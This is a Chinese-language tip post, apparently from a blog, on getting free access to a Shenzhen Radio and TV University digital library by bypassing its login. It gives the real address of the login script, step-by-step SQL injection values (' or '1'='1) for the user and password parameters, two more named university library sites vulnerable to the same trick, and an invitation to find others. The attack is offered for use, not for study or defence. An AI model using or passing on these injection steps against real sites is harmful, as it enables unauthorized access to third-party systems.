深圳广播电视大学数字图书馆
http://218.17.219.22/bookhtm/index.asp
搜索需要输入用户名、密码
我们可以构造查询条件,突破限制
做法如下:
1.随便输入学号、密码,登陆,例如:学号=1,密码=1.这时会出现“此用户不存在!返回”
ie地址栏中地址为http://218.17.219.22/bookhtm/sq/load.asp?user=1&;mima=1&B1.x=31&B1.y=6
2.修改地址进入:
将上面地址中user=1&mima=1改为:user='or'='&mima=' or''='
或者user='or'1'='1&mima='or'1'='1 也可
就是登陆地址了。
3.登陆后可以随便看了
同样的道理利用这个漏洞,可以登陆另外几个需要输入用户名、密码的站点,需要输入的地方都输上'or''='
如:驻马店电大http://www.zmdtvu.net/dabookhtm/
铜陵电大http://218.22.180.149/index.asp其他的自己好好发掘吧。

user=' or '1'='1&mima=' or '1'='1

免费进入超星图书馆小技巧 --深圳广播电视大学数字图书馆相关推荐

  1. shell 中一个进制转换的小技巧

    root@fetmx6ull-s:~# echo $(( 2#0000101 )) 5 root@fetmx6ull-s:~# echo $(( 8#0000101 )) 65 root@fetmx6 ...

  2. 小程序禁止左右拖动_网课视频快进小技巧

    目前很多网课教程网站都是采取播放内嵌Flash视频课件进行教学的方式,且绝大部分屏蔽了视频快进(倍进)播放功能,只能等待整段视频缓冲完成后才可对视频时间轴进度条进行拖拽操作,加上网站课件视频缓冲速度较 ...

  3. 免费翻译英文文献自动生成PDF双语文档小技巧

    所需软件 有道词典(网页版即可) 印象笔记(浏览器插件+PC客户端) 看外文文献时,因为语言问题阅读缓慢,想要生成中文版论文,一段段手动翻译太麻烦,而且也懒得自己再排版,这里介绍一个快速翻译英文文献自 ...

  4. 微信有没有免费提现服务器,微信有没有免费提现的方法 教你三个微信提现的小技巧...

    微信有没有免费提现的方法 教你三个微信提现的小技巧 唐建文 2018-06-05 11:57:34    希财网 最近很多小伙伴问希财君有没有微信免费提现的方法,因此今天希财君就教大家三个微信提现的小 ...

  5. 【小技巧】解决你的Mac电脑报名教师资格证,为什么一直进不去?

    文章目录 根本问题 效果图 破解之法 解法1 解法2 解法3 看成果 根本问题 你是否也有这样的困惑?网上解法一堆,但都没根本解决问题 用苹果电脑报名教师资格证,为什么一直进不去? mac上 想打开教 ...

  6. 进制转换小技巧之让你重新认识二进制补码(大师,我悟了)!!!

    前言 我们都知道计算机内部是使用二进制来进行运算的,那么你对于二进制转换为其它进制或者其它进制数转换为二进制数是否熟练于心呢? 与我们现实中的十进制不同,计算机内部使用二进制表示(一般我们书写用十六进 ...

  7. 技术好却进不了大公司?程序员面试的几个小技巧请收好

    技术好却进不了大公司?程序员面试的几个小技巧请收好 有很多程序员,专业技术挺好,项目经验充足,简历上金碧辉煌,也面试了很多国内大厂,但就是没有一家能成功的.处境可以说是相当尴尬. 大家都知道程序员本身 ...

  8. 英雄联盟无限乱斗连接不上服务器,LOL无限火力不排队匹配方法 LOL无限火力不排队秒进小技巧...

    现在LOL无限火力模式一出玩家上线率暴涨,玩个无限火力匹配还要排队30s以上,某些火爆的大区没个几分钟进不了一把游戏很难受.这里分享个LOL无限火力不排队秒进的小技巧,亲测可用!感谢万能的网友. LO ...

  9. 小技巧(1):Linux 下查看进程依赖,不同的16进制编辑器,与关掉Windows驱动签名认证

    最近又学到了一些零零碎碎的 Linux.Windows 命令,和一些可能今后会用得着的小技巧,怕自己忘记,所以把它们写在博客里面提醒一下自己,免得到时候再花费大量时间去百度.Google 找文章. L ...

最新文章

  1. iOS下JS与OC互相调用(二)--WKWebView 拦截URL
  2. VC嵌入断点中断INT3
  3. Groovy开发语言
  4. 【CV秋季划】模型算法与落地很重要,如何循序渐进地学习好?
  5. pycharm Enable Live Templates的作用
  6. 2018美团笔试字符串问题
  7. CSS基础(part4)--CSS的层叠性继承性优先级
  8. hdu 4049 Tourism Planning [ 状压dp ]
  9. P3591 [POI2015]ODW(分块)
  10. cf1207解题报告
  11. 什么是域名服务器(DNS)
  12. flutter绘图基础之三阶贝塞尔曲线cubicTo
  13. mysql数据库导入导出_windows系统以及linux系统下的操作---linux工作笔记042
  14. SELinux 基础命令
  15. DCFEE: A Document-level Chinese Financial Event Extraction System based on Automatically Labeled Tra
  16. Android简单的发短信示例
  17. 二、博客首页完成《iVX低代码仿CSDN个人博客制作》
  18. Scala HandBook
  19. 智能车心得分享(五)-- 电磁排布
  20. 在《2000年通则》中,根据卖方承担义务的不同,将13种贸易术语划分为下列四组:...

热门文章

  1. 广州市人民政府关于印发广州市推进制造业数字化转型若干政策措施的通知
  2. 【毕业设计】 基于Django的图书管理系统
  3. vs code保存自动格式化代码及eslint/tslint修复-太爽(丝滑般的感觉)
  4. 机器学习实验2 / 逻辑回归
  5. C++读写图片数据转成Base64格式
  6. 【无标题】创建基本网络拓扑步骤
  7. 2017计算机三级数据库试题,2017年计算机三级数据库技术考试试题及答案
  8. 【编程实践】golang 编程语言学习线路图:Go Developer Roadmap
  9. 基于stknx 的 usb to knx 调试
  10. Visio绘图字号大小选择